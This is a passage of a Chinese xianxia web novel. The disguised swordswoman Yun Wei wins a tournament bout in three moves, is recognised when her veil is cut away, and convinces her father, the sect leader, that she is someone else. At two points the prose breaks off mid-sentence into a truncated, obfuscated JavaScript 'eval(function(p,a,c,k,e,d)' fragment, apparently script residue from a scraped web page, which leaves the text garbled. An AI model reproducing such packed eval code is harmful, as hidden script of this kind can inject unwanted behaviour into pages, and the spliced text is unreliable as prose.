云微默默闭上眼,将翻涌的思绪沉入心底,不再流露分毫。 32.擂台 翌日清晨,归云宗演武场。 朝阳初升,将中央那座高耸的汉白玉擂台映照得熠熠生辉,擂台四方各自矗立着雕刻祥云瑞兽的石柱。 台下黑压压挤满了前来观战的弟子,人声鼎沸,所有目光都聚焦于台下等候抽签的六十四名晋级者。 云微静立一隅,素白衣袂随晨风微扬,神情是一贯的清冷。 她目光不着痕迹地转向左侧,谢澜忱正站在那里,与她、宁兮河之间因昨夜的意外无形间形成一个小圈。 少年周身弥漫着一股生人勿近的低气压,眼下泛着淡淡的青黑,显是一夜未眠。 宁兮河也察觉到了谢澜忱的不对劲,试探着轻声问道:“谢师弟,你脸色似乎不太好?可是因同尘镯之事……” 少年掀开眼皮,钴蓝色的眸子冷冷扫她一眼,语气硬邦邦地,带着毫不掩饰的烦躁:“托宁师姐的福,好得很。”他这话虽冲宁兮河,眼角余光却狠狠剐了云微一下,仿佛昨夜所有憋闷都是因她而起。 云微接收到他这记眼刀,心中平静无波。 他素来如此,情绪反复无常,她早已习惯。 只是如今同生共契,又被这莫名法器纠缠,他的烦躁倒也情有可原。 她只盼此事能尽快解决,不至影响今日擂台之战。 宁兮河被他噎了一下,神色转为凝重。她沉默片刻,似是下定了决心,开口道:“同尘镯的事,我思索一夜,或有一法可试……但需冒险。还请你们将戴镯的那只手伸出来。” 云微与谢澜忱对视一眼,几乎是同时抬起了手。 两只手腕上,同尘镯正散发着淡淡的荧光,隐隐有灵力流动其间。 宁兮河伸出双手,分别虚按在两人腕间,闭目凝神。 片刻后,她睁开眼,秀眉紧蹙,摇了摇头:“果然不行。这同尘镯与你们二人的气机已完全缠绕,近乎共生。若强行剥离,恐会引发剧烈反噬,伤及你们神魂根本。” 她顿了顿,语气带着迟疑:“除非……有一方自愿承受绝大部分灵力逆冲,主动切断自身与镯子的灵络联系。但那样做,施术者修为会暂时大损,于今日擂台战极为不利……” 云微闻言,眸光微闪。 “我来。”她冷声道。 修为暂损,总好过她与谢澜忱皆被束缚,无法全力施为。 “不行!”少年几乎是从牙缝里挤出这两个字,左手死死攥住她的手腕。 他脸色阴沉得可怕,紧紧盯着云微,钴蓝色的眼底翻涌着怒意与一丝极快掠过的慌乱,“你疯了?今日擂台关乎我们……关乎你能否继续走下去!倘若修为受损,你拿什么去争?拿什么去……” 他想说“复仇”,却又硬生生刹住。 云微手腕被他攥得生疼,却并未挣脱,只是眸光清冽地回视他,语气淡然:“拖延下去,你我皆无法上场。权衡利弊,这是最优解。我自有分寸。” 她心中想的却是,谢澜忱身份特殊,若他修为受损,必会引起宗主和更多人的关注与猜疑。 而她,一个“来历不明”、甚至“失忆”的女子,即便暂时失去部分修为,也不会有人过多深究。 “开始吧,宁师姐。”她转向宁兮河,语气平平。 宁兮河看了看脸色铁青、还想说什么的少年,又看了看云微,终于点了点头。 她指尖凝聚灵光,捏了一个法诀,小心翼翼地点向云微腕间的同尘镯。 霎时间,一股剧痛从手腕直窜心头,仿佛有无数根针同时刺入经脉。 云微垂着眼,只有额角迅速渗出的细密冷汗与骤然失血的唇色泄露了此刻正承受的痛苦。 就在这时,她忽然察觉到另一股温和的灵力,正悄无声息地从谢澜忱紧握她的那只手传来。 她微微抬头,眸光瞥了少年一霎,却见少年紧抿着唇,视线固执地偏向别处,侧脸线条紧绷,仿佛那偷偷渡来灵力的人不是他。 片刻后,光芒散去,两人腕间的同尘镯光泽尽失,“咔哒”一声轻响,自行脱落,被宁兮河迅速收回。 束缚尽去,云微却只觉得周身灵力仿佛被抽空了一半,经脉隐隐作痛,一种虚乏感蔓延开来。她暗自深吸一口气,强行运转心法,压下不适。 “你怎么样?还能撑住吗?”谢澜忱立刻松开手,下意识想上前扶住她手臂,但瞥见宁兮河还在身旁,众目睽睽之下,他又硬生生止住动作,只焦灼地低声问道,目光紧紧锁住她苍白的脸。 “无妨。”云微淡淡应道,正要细说,却被高台上传来的声音打断。 众人望去,只见段长老与吴长老已并肩立于擂台前方的高台。 段长老目光扫过台下六十四人,尤其在云微略显苍白的脸上停顿了一瞬,方才朗声道:“擂台较技,现在开始!规矩如下:抽签决定对手,两两对决,胜者晋级,败者淘汰。不得故意伤及性命,不得使用禁术邪法,违者重罚!”他袍袖一拂,一个刻有隔绝符文古木签筒出现在众人眼前。“无名,你昨日表现最佳,由你先抽。” 云微微微颔首,缓步上前。 未等她指尖触及竹签,一道劲风骤然袭来,将她面前的签筒打得粉碎,竹签哗啦啦散落一地。 全场哗然。 云微眸光一凛,抬头看向高台。 只见吴长老缓缓收回手,面色冷厉,环视众人,最终目光落在面色骤变的段长老身上,扬声道:“此次擂台战规则临时变更!为免某些人再利用规则漏洞,或仗着些小聪明、甚至私下手段侥幸晋级,本轮对手,由我亲自指定!” 段长老脸色难看:“吴长老!此举不合规矩!抽签对决乃是历来传统,岂能因你一人之言而废?” “恐怕要让你失望了,这是宗主的命令。”吴长老冷笑道,语气咄咄逼人,“还是说,段长老想违抗宗主之令,包庇某些来历不明之人?”他意有所指地扫了云微一眼。 云微冷眼看着这一幕,心中了然。 果然如此。 吴长老刻意刁难,废除抽签,必是要为她安排一个极强的对手,意图在第一轮就将她剔除。 也罢,便让他看看,他精心挑选的对手,能否阻她之路。 只见吴长老走下高台,越过云微时,发出一声极轻的冷哼,然后径直走向那六十四位参赛者面前,踱步审视,最终停在了谢澜忱面前。 云微心中微沉。 莫非他想…… 少年抬眸,与吴长老对视,脸上没什么表情,眼神却冷得渗人。 吴长老与他对视片刻,似乎权衡了一下,终究没敢直接指派宗主义子去对付一个“来历不明”的女子,以免落下话柄。 他目光移向谢澜忱右侧,沉吟片刻,忽地抬手一指。 “林风羽!”他高声道,“云阳宗高徒,年少有为,剑术超群,乃青年才俊之翘楚!便由你来打这头阵!” 云微顺着他的视线望去,那是一名身着锦蓝劲装的青年,面容俊朗,眉眼间却带着一股挥之不去的傲气与自恋,仿佛周遭一切皆不入他眼。 此人名声在外,据说剑法花哨华丽,很得一些弟子欢心,但真实实力未必如传闻中那般了得。 林风羽轻笑一声,姿态潇洒地一撩额前几缕不羁的墨发,身形一晃,飘然掠上擂台,动作确实颇为利落漂亮。 他居高临下地看向台下的云微,眼神带着毫不掩饰的轻蔑:“无名姑娘?请吧。放心,在下向来怜香惜玉,定不会让你输得太难看。” 自大轻浮,徒有其表。云微心中瞬间做出判断。 此人气息浮华外露,剑势未出已露骄狂之态,内力根基绝非表面看起来那般扎实,破绽暗藏。 “吴长老。”谢澜忱上前一步,声音冷冽,“临时变更规则,亲自指定对手,是否太过儿戏?若此战有失公允,恐难服众!” 吴长老摆了摆手,语气不耐:“澜忱,你不必多说!此乃宗主之令,旨在杜绝宵小手段,选拔真正实力之辈!莫非你要质疑宗主?” 云微瞥了谢澜忱一眼,心下微动。 他不必为她出头的。 吴长老明显是针对她而来,谢澜忱越是维护,只会让吴长老越发疑心他们的关系。 即便修为暂损,她也有自信应对任何对手。 思及此,云微没有多言,足尖轻点地面,翩然跃上擂台,与林风羽相对而立,一身素白衣裳在晨风中微微拂动,气质清冷出尘。 台下弟子见状,个个引颈翘首,神情兴奋。 他们都想看看,这个昨日在幻阵中表现惊人的女子,究竟能否在实战中击败云阳宗的天才弟子。 林风羽假模假样地抱拳道:“在下林风羽,请教了!”话音未落,他手中长剑已然出鞘,寒光凛冽,速度快极,碧蓝剑气呼啸破空,直刺她面门。 这一剑来得突兀且狠辣,全然不像他口中“怜香惜玉”所为。 云微身形微侧,险之又险地避开这迅猛狠戾的一剑。 那道凌厉剑气擦着她的衣角掠过,竟失了控制,直冲擂台下方围观的人群而去。 “小心!” “快躲开!” 台下顿时一阵惊呼骚动,站得靠前的弟子慌忙后退,险些被那剑气所伤,场面一时有些混乱。 而他却毫不在意误伤旁人,反而手腕一翻,挽了个华丽却无用的剑花,自得一笑:“啧,差点误伤。不过想必诸位也能理解,高手过招,剑气纵横,难以收发由心,难免的。”语气洋洋得意,毫无愧意。 云微蹙眉,心中对此人观感更劣。 她冷冷瞥向台下的吴长老,声音清越:“吴长老,擂台剑气无眼,为免误伤同门,是否应让围观弟子再退开十丈,或由长老出手布下防护结界?” 吴长老却嗤之以鼻,似巴不得她速败:“若是怕了,现在认输还来得及!比武较技,岂能畏首畏尾?” 云微眸光一沉,心中冷意蔓延。 长老为剔除我,竟不惜罔顾他人安危。 她并指如剑,在空中迅速划出一道符文,一道淡蓝色、半透明的巨大水幕状结界以她为中心骤然张开,如同倒扣的巨碗,将整个擂台笼罩其中,彻底隔绝内外。 林风羽见状,先是一愣,随即哈哈大笑:“无名姑娘,维持这般大范围的结界消耗不小吧?啧啧,自身灵力怕是已耗去三成,你还拿什么跟我打?”他摇头晃脑,语气轻佻至极,言语间极尽贬低,“要我说,女子嘛,何必打打杀杀,与人争强斗狠?寻个如意郎君,相夫教子才是正途。这剑道魁首,岂是尔等女儿家该惦记之物。” “放肆!”台下的谢澜忱厉喝出声,眸中寒光凛冽,已有实质般的杀意涌现。 若非场合不对,他早已出手将这口无遮拦之徒斩于剑下。 云微并未因这番侮辱而动怒,只是静静地看着林风羽,目光平静无波,仿佛在看一个跳梁小丑。 女子如何 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林风羽只觉劲风扑面,仓促举剑格挡。双剑相交,“锵”然脆响,一股巨力远超预料自剑上传来,震得他虎口发麻,长剑几欲脱手,整个人失控般连退三步方勉强站稳,体内气血翻涌不止。 “第一招。”她清冷的声音响起。 林风羽脸色瞬间涨红,羞怒交加:“偷袭不算!”他强自辩解,剑势陡然一变,手中长剑幻化出十数道虚实难辨的碧蓝剑影,铺天盖地朝云微罩去。 这是他引以为傲的杀招,寻常人根本无法分辨哪一剑是实,哪一剑是虚,往往未战先怯。 然而在云微眼中,这华而不实的剑招处处都是破绽:灵力流转不畅,虚影缺乏韧劲,实招轨迹分明。 她甚至没有花费心神去分辨虚实,在那漫天剑影及体的瞬间,足尖一点,手中断尘剑划出一道凌厉的弧线,不偏不倚,以剑身侧面拍向他握剑的手腕脉门。 林风羽只觉腕部猛地一麻,内力运转骤然一滞,剑影如同被戳破的气泡,瞬间消散无踪。 他踉跄着后退一步,脸上已露出骇然之色。 “第二招。”云微的声音依旧平静,却带着令人心寒的压迫感,一步步摧毁着他的自信。 林风羽狂吼一声:“休要得意!接我云阳贯日!”话音未落,他双手握剑高举过顶,剑身骤然迸发出灼目刺眼的炽烈白光,宛若掬起一轮微缩烈日,以开山断岳之势,朝着云微当头猛劈而下。 声势骇人,确有其独到之处。 云微眸光一凝。 这一招倒是得了云阳宗剑法几分精髓,可惜他内力虚浮,根基不稳,致使此招空具其形,后继乏力。 她不退反进,身形微侧,于电光石火间避开正面最盛锋芒,同时断尘剑自下而上顺势撩起,发出龙吟般清越啸音,一道凝练无匹、宛若实质的湛蓝剑气后发先至,剑气激荡,即便隔着结界,台下众人亦觉劲风扑面,呼吸为之一窒。 “锵——!” 刺耳欲聋的金铁交鸣炸响,灵力猛烈碰撞,气浪如潮向四周狂涌,撞得结界光壁剧烈荡漾,涟漪阵阵。 众人只见双剑一触即分,云微手腕看似轻巧一旋一引,剑柄撞向林风羽的胸口。 “第三招。”云微声音冷冽,左掌已跟进而至,打在他右肩。 林风羽顿如断线风筝般离地飞起,重重砸在擂台边缘的结界光壁上,继而又被光壁弹回,软软滑落在地,挣扎数下,竟一时难以爬起,只顾咳血。 整个演武场陷入死寂,足足过了三息,震天的惊呼与哗然方才爆发。 “三招!真的只用了三招!” “这无名到底是什么来头?!也太强了!” “天啊,下一轮要是能和她组队该多好!” 少年紧盯着台上那持剑而立的清冷身影,一直紧绷的身体终于放松下来。 他这才发现自己方才因过度紧张,指甲早已深深掐入掌心,松开手时,掌心一片血肉模糊,渗出血迹。 他却浑然不觉疼痛,只是望着云微,眼神复杂。 她果然……从未变过。 一直留意着谢澜忱的宁兮河将他这番情状尽收眼底,眼神微微闪烁,露出一丝若有所思的神情。 云微收剑而立,气息虽因灵力消耗而略有不稳,但很快便调整过来。 此人剑术华而不实,心浮气躁,败不足奇。 她心无波澜,缓步走向倒地不起的林风羽。 “可认输?”她垂眸看着地上狼狈不堪的人,声音冷淡。 林风羽咳着血,眼神怨毒至极地死死盯着她。 就在云微靠近他的瞬间,他竟借着最后一丝力气将手中长剑狠掷而出,剑身划过一道歪斜的弧线,直奔她双目而去,显然是想拼个两败俱伤。 “小心!”台下惊呼再起。 云微反应极快,侧身旋步,轻巧避过这垂死一击。 林风羽本就气血翻涌,此刻掷剑耗尽最后力气,闷哼一声便彻底昏死过去。而那柄被他掷出的长剑失去目标,其附着的剑气却恰好擦着云微颊边飞过,将她覆面素纱的系带斩断。 那方素白轻纱无声掉在擂台上。 一张清丽绝伦、眉眼清冷如画的面庞彻底暴露在众人面前。 “云…云微?!” 33.暴露 云微对身后擂台下的骚动与私语恍若未闻。 她面色沉静,甚至未瞥一眼地上昏死的林风羽,只俯身拾起那方飘落的素纱,旋即翻身落至台下,径自向前行去。 人群竟不自觉向两侧分开,由她坦然而过。 她从未打算永远遮掩容貌。 既然归来,立于这曾诬她、杀她之地,便早有暴露的觉悟。 谢澜忱立于人群之中,那双钴蓝眼眸自面纱落下便死死锁在她脸上,旁人只当他是见了与“宿敌”相像的人动了怒。 高台之上,吴长老在看到云微面容的瞬间,已是面色大变,血色尽褪,手指微微颤抖地指向她,嘴唇哆嗦着,竟一时失语。 段长老亦是瞳孔骤缩,满脸的不可置信。 “站住!”吴长老终于扑下高台,拦在云微面前,声音发颤,“云微!是你?!你竟没死?!你怎有脸回来?”他气息粗重,目光惊疑扫视,“还敢隐姓埋名参加大比!说!你究竟是何居心!” 云微止步,抬眸看他,目光清冷平静,甚至带一丝恰到好处的茫然。“长老何出此言?我并非云微,而是无名。” 段长老飞身落下,语气沉稳,“此女容貌确与云微极似,然天下之大,相貌雷同者并非没有。更何况……”他声调一沉,“云微之事,你我都清楚。玄天诛魔印下,神魂俱灭,岂有生还之理?岂能因容貌相似便妄下断论?” 吴长老被他说得稍缓,仍惊疑难消,“可、可这也太像了!更何况她的剑法——” “此人我认识。” 谢澜忱此时自人群中缓步而出,行至云微身侧,草草对两位长老一揖,唇角似笑非笑一勾。 归云宗弟子忍不住窃窃私语: “谢师兄过去了……” “他看到这张脸定然动怒了吧?谁不知他与云微势同水火……” “这下有好戏看了……” 云微能觉出身侧目光,却并不回视,仍持那副疏离的神态。心下却明:他此际站出来,绝非因怒。同生契在,他早非局外人,更不会在此刻拆穿自己。 谢澜忱开口,声音平淡:“关于此人,弟子正欲回禀。”他侧首看她一眼,“她并非云微师姐,乃我前几日于碧月山庄外所见。当时她重伤濒死,灵力溃乱,醒来后前尘尽忘,姓名来历一概不知。” 少年转回目光,轻笑一声:“至于容貌……天下相似之人何其多。我见她无处可去,暂且收留,取名‘无名’。此次带她回宗参比,亦盼有人能识得她,或可寻回身世。不想竟与云微师姐如此相像,引长老误会。” 他编得倒周全。云微心想。 碧月山庄有徐鄂打点,纵有人去查,也难觅破绽。 吴长老眉头紧锁,疑虑未消。 谢澜忱身为宗主义子,虽性桀骜,却非无信之人,然此事太过蹊跷,他实难安心。 “即便如此,也太过巧合!澜忱,非我不信你,但此女容貌似极云微,又现身大比,实在令人难安。依我看,需立刻禀明宗主,由宗主定夺!” 少年眉头一蹙,尚未开口,云微却已出声,音调平静无波:“可以。”她看着吴长老,“我愿面见宗主。” 终于要见到那位亲手诛杀她的“父亲”了么? 云微心下冷笑,这一面,她等候已久。 谢澜忱似未料她应得如此干脆,侧目看她一眼。 二人目光一触即分,皆见彼此眼中凝重与心照不宣。 段长老沉吟颔首:“如此也好。事关重大,由宗主圣裁最为妥当。”他又看向少年,“澜忱,你留在这里,我有些话想问你。” 谢澜忱应对段长老的试探应当游刃有余。云微心想。 她并不担心他会露出破绽,少年为了自身安危,也定会遮掩过去。 吴长老重重一哼,极不耐烦地甩袖道:“愣着作甚?还不快随我来!”语气粗暴,仿佛多看她一眼都觉晦气。 云微默然跟上。 谢澜忱被段长老唤住,面上不见波澜,只懒懒一揖,依旧是那副散漫模样:“长老有何垂询?”他眼角余光瞥见云微随吴长老远去的身影,钴蓝眸底掠过一丝晦暗。 同生契似有感应,牵动他心脉微微一悸。 段长老审视着他,语气沉缓:“澜忱,你素来行事不羁,宗主亦多纵容于你。但此番带回此女,未免太过轻率。其容貌与云微一般无二,天下岂有这等巧事?你当真确信她失忆无疑?可曾仔细探查过?” 闻言,少年唇角牵起惯有的、略带讽意的笑,那笑意却未达眼底:“长老这是疑我识人不明,还是疑我别有他意?” 他顿了顿,余光扫过周遭偷听的弟子,声音刻意提了些,让所有人都能听见:“我比任何人都不希望她是云微。若她真是那个人……长老以为,我会包庇她吗?” 段长老叹了口气,摆摆手:“罢了,此事自有宗主明断。” 少年躬身,姿态恭敬,眸中却无多少暖意。 另一边。 云微随吴长老前行,一路亭台楼阁、演武场坪,一草一木皆如往昔。 她目光平静扫过,想起幼时,旁人皆有父母师长呵护,唯她,身为宗主之女,却似透明。 父亲从未指点过她一招半式。他的目光总是越过她,落在谢澜忱身上。 长老们也不喜她。是因为她性情冷僻,不似其他弟子那般懂得讨好逢迎? 还是因她进步太快,剑道天赋太过惊人,碍了某些人的眼? 她不知,亦不想费心去探究。 只觉得手中之剑,比人心更可靠。 既无人可依傍,那便只依傍手中剑。 经年累月,苦修不辍,藏经阁中万卷剑谱被她翻烂,终炼成归云宗无人可及的剑道魁首。 可这魁首之名,换来的是更深的孤寂和更多的嫉恨。 正行间,吴长老蓦地停步,厉声喝道:“云微!” 云微停下脚步,微微抬眸,面露恰到好处的茫然:“长老在叫谁?” 她心道,这就忍不住要试探了?真是毫无长进。 吴长老回过头,那双眼睛死死盯着她的脸,似想从中揪出一丝慌乱,可惜一无所获。 他眼底掠过失望,只得闷声道:“无事,走你的路。” 这般拙劣试探,岂能试出她分毫? 她早已不是昔日那个还会对同门之情、师长之誉心存一丝妄念的云微。 又行一段,她主动开口,声淡如常,仿佛只是好奇:“吴长老,方才您与段长老所言那位‘云微’……究竟是谁?与我当真如此相像?竟惹得您二位如此失态。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哎哟!”吴长老猝不及防,一脚踩上圆滑的石子,顿失平衡,惊呼一声,向前一个踉跄,险些扑倒在地,模样甚是狼狈。 云微面无表情地看着,甚至微微后退半步,语气平淡:“长老年纪大了,脚下不稳,还需小心些。” 吴长老老脸涨得通红,手忙脚乱地稳住身形,悻悻然拂袖,似是觉得丢了颜面,骂了句:“这路怎地年久失修!执事堂愈发懈怠了!” 不多时,二人行至一座巍峨殿阁前。 殿乃白玉巨石砌就,高檐飞角,殿门紧闭,门上高悬玄色匾额,以金漆大字书“澄心殿”三字。 殿周清寂无人,唯闻风声过隙,平添几分寒意。 云微仰首,望向这熟悉的殿宇。 澄心殿……澄心明性?真是天大的讽刺。 她想起石塘镇那夜,她被父亲与长老围住,无人不听她半句辩解。 玄天诛魔印压下时,那摧心裂魂的痛楚至今清晰如昨。 吴长老整了整方才弄乱的衣袍,清咳一声,端起架势:“你在此等候,待我进去通禀宗主——”话音未落,那两扇殿门竟忽地无声自内打开。 吴长老的话哽在喉头,僵立当场,脸上闪过一丝惊疑不定。 云微眸光骤凝。父亲已知她来了?也好,省了这番虚伪通传。 殿内光线幽暗,一股远比外界凛冽的寒意扑面而来。 她侧首,斜睨了吴长老一眼,随即不再迟疑,径直迈步,踏入了那片幽暗之中。 云微刚走进去,身后的殿门便“轰”地一声重重阖紧,将吴长老关在了门外。 “宗主!此女身份可疑,怎能让她独自进去!” 34.影子 “比试继续!” 段长老袍袖一拂,一个尺许高的竹签筒浮于空中,其内密麻麻插满玉签。 过了半晌,两道流光自筒中飞出,悬停半空,显出两个名字:一侧是“谢澜忱”,另一侧则是“张远”。 谢澜忱眸光一凝,落在那个名字上。 张远,不过是宗门内一个寻常弟子,剑法平平。 他眼底掠过一丝不易察觉的焦躁,只想尽快打发掉眼前这人。 那张远已跃上擂台,是个身形微胖的年轻弟子,面容尚带稚气,穿着归云宗的弟子服,腰间佩剑看来也只是寻常铁剑。 他见到台下长身玉立、手持孤鸿剑的谢澜忱,脸上顿时显出战战兢兢的神色,拱手道:“谢、谢师兄……还请手下留情。” 谢澜忱眉峰微蹙,并非因这怯懦之态,而是厌烦其拖延时间。 他跃上擂台,冷声道:“擂台较技,各凭本事,何来留情之说?你若惧了,此刻认输下台,也省却一番徒劳挣扎。”他语速比平日快上几分,透着显而易见的不耐,“拔剑,我赶时间。” 段长老一声“开始”,少年身形已动,孤鸿剑出鞘,剑风凌厉,逼得张远手忙脚乱,连连后退,毫无招架之力,额上冷汗涔涔而下。 他心不在此,心中只反复念着:快些,再快些。此地多留一刻,云微便多一分危险。若被谢青峰窥破行藏……他几乎不敢深想下去,指尖下意识攥紧了剑柄,孤鸿剑发出极轻的嗡鸣。 不到一炷香,张远已是气喘吁吁,发髻散乱,手中铁剑被打飞,“当啷”一声落在擂台边缘。 他面色灰败,喘着粗气,心悦诚服地拱手道:“谢师兄剑法高超,我……我输得心服口服。” 谢澜忱收势而立,玄衣拂动,神色淡漠,转身欲下擂台。 那张远却似心有不甘,或是输得糊涂了,竟脱口而出:“谢师兄,方才比试,我……我察觉你剑法似乎比平日更显凌乱急躁,可是因……因那位名叫无名的姑娘?” 他见谢澜忱脚步一顿,却仍不知死活地继续道:“她表现得极为出色……大家都说,她长得和云微师姐一模一样,性子也像……谢师兄可是因见她,想起了云微师姐,故而心绪不宁?师兄……是在她身上看到云微师姐的影子了吗?” 话毕,台下鸦雀无声。 少年霍然转身,眸光冰冷,死死瞪着张远。 “影子?”他一字一句道,“你此言,荒谬至极。第一,我的剑如何,还轮不到你来评判。第二,无论无名是何模样,是何性情,都与你无关。她的厉害,是她自已的本事,何需借由像谁而来?再让我听到你妄加揣测,休怪我的剑不认人。” 台下顿时一片哗然。 众人面面相觑,窃窃私语起来: “谢师兄和云微师姐不是死对头吗?” “是啊,怎么如今竟如此维护一个像她的人?” 张远脸色白了白,却仍梗着脖子道:“谢师兄何必动怒?我不过是觉得奇怪……您与云微师姐势同水火,全宗门皆知。如今对着一个与她如此相像的人,却这般维护……实在令人费解。莫非师兄是忘了昔日云微师姐如何折辱于您、与您争抢未来宗主之位、屡次阻拦您的行动?她那般强势霸道,丝毫不顾同门之谊……” “闭嘴。”少年声音陡然沉了下去,握剑的手背青筋微凸,“势同水火?折辱于我?” 他忽地冷笑一声,又道:“我与她之间是堂堂正正的竞争,是各凭本事的较量。她争夺未来宗主之位,是因为她确有资格。她阻拦我的行动,是因为我过于激进,可能伤及无辜。你们只看到表象,便自以为是的编派她的不是。” 谢澜忱踏前一步,逼视着张远:“你们一而再、再而三地提起她,想做什么?嗯?她活着的时候,你们敬畏她的实力,倚仗她的庇护,却也在背后议论她身为女子却过于强势,不近人情!” 张远一时无言。 少年又道,玄衣下的肩头微微起伏,连声音都带着几分破堤般的锐利:“这些年,是谁屡次孤身深入险境诛杀大妖,身上旧伤累累?是谁在魔修袭击村落时第一时间赶到,护得一方百姓平安?是谁在宗门弟子遇险时,毫不犹豫以身相替?是她云微!她做的哪一件事,不是堂堂正正、无愧于心?就因为她是女子,不够‘温婉柔顺’,你们就在她死后如此轻贱她的名声,抹杀她的功绩?女子怎么了?女子强大,便是有罪吗?” 台下的归云宗弟子面面相觑,脸上露出羞愧之色,纷纷低下头去。 是啊,云微师姐或许不苟言笑,要求严苛,可她从未亏欠过宗门,更未亏欠过他们任何一人。 台下的段长老轻咳一声,打破了沉寂。 他面容复杂,目光扫过众人,长叹一声:“澜忱所言……虽激烈,却并非全无道理。云微死后,曾有山下老农,背着满满一筐新摘的柿子,颤巍巍来到山门前,询问云微何在,说他们家柿子今年结得特别好,想请恩人尝尝,感谢她当年救命之恩……” 他语气沉痛:“云微已神形俱灭,功过自有公论……但绝非尔等可以随意置喙、轻慢谈论的。日后若再有人非议云微生前之事,一律以门规论处,绝不轻饶!” 众弟子闻言,皆肃然垂首,齐声应道:“谨遵段长老教诲!” 人群之中,唯赵常胜脸色铁青,死死盯着台上的谢澜忱,压低声音对身旁几个交好的弟子恨恨道:“看见没?他就是被那个无名迷了心窍!” 他想起前几日少年那几乎要杀了他的眼神,后颈仍是一凉,声音带上了怨毒,“此二人定然有鬼!等着瞧,我定要找出证据,叫他们好看……” 少年终于冷静下来,怔怔立在当地,半晌未发一语。 过了片刻,他缓缓抬首,转过身来,只见台下的段长老正望着他。 谢澜忱对他略一拱手:“长老,此间事了,弟子告退。” 说罢,少年已掠下擂台,瞬息远去。 * 云微此刻正走在父亲清修的居所中。 此地冷寂空旷,深色冷檀地面映出她模糊的身影,四壁书卷堆积。 这就是父亲日常所处之地?她从未来过。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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果然如此。云微心道,还是这般道貌岸然,生怕她这“已死之人”搅乱他的布局。 “宗主此言,与方才吴长老所言如出一辙。”她冷声回答。 “只是,弟子入阵、登台,皆凭自身实力,合乎规矩。若因容貌相似便遭驱逐,恐难以服众,亦有损归云宗海纳百川、公正严明之声誉。” 谢青峰眸光微闪,深深看了她一眼:“哦?那你待如何?/ “宗主无非是疑心弟子身份。”她不卑不亢道,“若弟子能证明,我绝非您口中那位已故之人呢?” “如何证明?” “请宗主借弟子一件法器一用。”云微伸出手,语气笃定,“听闻宗内有‘千里传音符’,可联络千里之外识得之人。弟子想借此符,联络一位恩人。” 谢青峰眼底掠过一丝讶异,沉吟片刻,终是颔首:“可。” 他抬手虚抓,一面巴掌大小的黄色符纸浮现掌心,“此符需以灵力催动,心中默念所想联络之人的形貌名姓即可。” “谢宗主。”云微坦然接过符纸,当即运转灵力,注入符中,心中默念。 符箓微亮,凝出一道虚影。 那是一个身着绛紫衣裙的少女,眉眼间带着几分娇俏灵动。 几乎是同时,谢青峰坐直身体,失声低呼:“这是万毒谷的谷主,南宫雅?” 35.信服 只见少女杏眼圆睁,双手叉腰,故作嗔怒道:“无名,你还知道找我啊?一声不响就跑得无影无踪,是嫌我万毒谷的饭食不合胃口,还是嫌我那些小宝贝儿们不够可爱?就这么不想待在我那儿吗?知不知道我找了你多久!” 云微静静听着,这一切自然是她与阿雅早已商议好的说辞。 自一月前她与前来寻药的阿雅重逢,第一面便将自己的遭遇和盘托出,并定下此计。 她深知自己这张与生前毫无二致的脸是最大的破绽,必须先消除众人对她疑虑。 见少女此刻演技逼真,将那娇憨恼怒模样演得十足,她心下稍安。 她垂下眼睫,声音放得轻缓,带着几分迷茫与歉然:“恩人……对不住。我……我记不清很多事。只恍惚记得受了很重的伤,是你救了我,还为我重塑了面容。若不是我非去碧月山庄不可,也不会不告而别,让你这般劳心寻我。” 谢青峰起身走至云微身侧,目光锐利地审视着符中的少女,沉声道:“阁下可是万毒谷的南宫谷主?失敬。不知谷主与这位无名姑娘是何渊源?又可知她如今这张面容……” 南宫雅眨了眨杏眼,语气不悦:“渊源嘛……谈不上。六个月前我出谷采药,在林子里捡到她的。那时她满脸血污,身上伤痕累累,瞧着就剩一口气了,我心善,便顺手带回去治了。” 她顿了顿,撇撇嘴,似有些不情愿地继续道:“至于这张脸嘛……哼,我瞧着原先那张脸伤得太重,皮肉翻卷,白骨可见,修补起来麻烦得很。恰巧我一年前曾见过一位闻名天下的女子舞剑,风姿绝世,令人心折,我私下里还偷偷摹了幅画像珍藏呢。我便……顺手按着那副模样,用灵藕给她重塑了面容。怎么,你这个老头觉得不妥?” 谢青峰面色一僵,复又试探道:“南宫谷主妙手回春,令人叹服。只是……灵藕塑形,竟能如此惟妙惟肖,分毫不差?” 谢青峰果然老奸巨猾,疑心极重。云微心中冷笑,面上却依旧是一派茫然无措。 她恨不能立刻拔剑将其斩于当场,但就这样杀了他,太便宜他了。 她要的是在天下人面前撕开他道貌岸然的假面,让他亲口承认构陷亲女的罪行,为母亲正名,也为自己洗刷冤屈。 在此之前,她必须隐忍。 闻言,南宫忍不住翻了个白眼,语气不悦:“哎哟,想必你就是大名鼎鼎的归云宗谢宗主吧?你这是不信我万毒谷的医术,还是不信我南宫雅的人品?那位剑道魁首风采卓然,一剑惊鸿,谁人不多看两眼?” 谢青峰:…… 记忆中那个活泼单纯的少女,如今竟也能在谢青峰这等老狐狸面前谈笑自若,编造谎话眼都不眨。 这些日子不见,阿雅确是成长了许多。云微心想。 谢青峰默然半晌,似在权衡南宫雅话语的真伪。 最终,他眼底的疑窦稍减,缓缓颔首:“原来如此。是本座多虑了,多谢南宫谷主解惑。”他大手一挥,那千里传音符光芒骤熄,化作点点流光,消散于空中。 他转身踱回太师椅坐下,目光重新落在云微身上,已平和许多,恢复了那一宗之主的威严气度:“既然有南宫谷主作保,你的来历便算明晰。方才阻你参赛,确是本座多虑了。你既决心参赛,明日季轮,需两人结队。”谢青峰语气淡漠,听不出情绪,“可已寻得队友?” 云微垂眸,恭敬答道:“尚未。弟子初来乍到,识人不多。”她心知谢青峰此问未必安好心,或许还想探她虚实,故言辞谨慎。 “嗯。”谢青峰摆了摆手,“既然如此,便回去好生准备吧。” “谢宗主。”她忽然抬首,目光清凌凌地看向,“听闻那位云微师姐……是因堕魔而死。若她泉下有知,见宗主如今仍因睹‘相似之人’而心绪波动,想必……亦会感念父女情深吧。” 闻言,谢青峰面色微微一僵,虽极快恢复如常,但眸底一闪而逝的阴霾却未逃过云微的眼睛。 父亲,我杀不了你,还恶心不了你么? 每当你闭上眼,是否能看到母亲与我血淋淋的身影? 不等谢青峰回答,她微微躬身,转身离开,背影挺直,步履沉稳。 